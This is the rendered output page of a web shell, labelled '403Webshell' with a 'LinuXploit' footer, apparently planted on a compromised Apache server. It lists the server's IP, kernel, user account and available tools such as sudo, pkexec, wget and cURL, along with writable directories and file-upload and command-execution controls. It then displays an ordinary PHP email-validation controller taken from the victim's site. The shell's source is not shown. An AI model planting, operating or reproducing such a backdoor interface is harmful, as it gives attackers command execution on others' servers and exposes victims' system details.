403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/forms/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/forms/code/EmailController.php
<?php

/*
 * Click nbfs://nbhost/SystemFileSystem/Templates/Licenses/license-default.txt to change this license
 * Click nbfs://nbhost/SystemFileSystem/Templates/Scripting/PHPClass.php to edit this template
 */

namespace modules\forms\code;

/**
 * Description of TextElementController
 *
 * @author maros
 */
class EmailController extends AbstractController {

    public function validate($val) {
        if (strlen(trim($val)) === 0) {
            return true;
        }
        
        if (!filter_var($val, FILTER_VALIDATE_EMAIL)) {
            return "Invalid email format.";
        }

        $maxlength = $this->pfbcElement->getAttribute("maxlength");

        if ($maxlength !== null && strlen($val) > $maxlength) {
            return "Max length of input is $maxlength.";
        }   

        return true;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit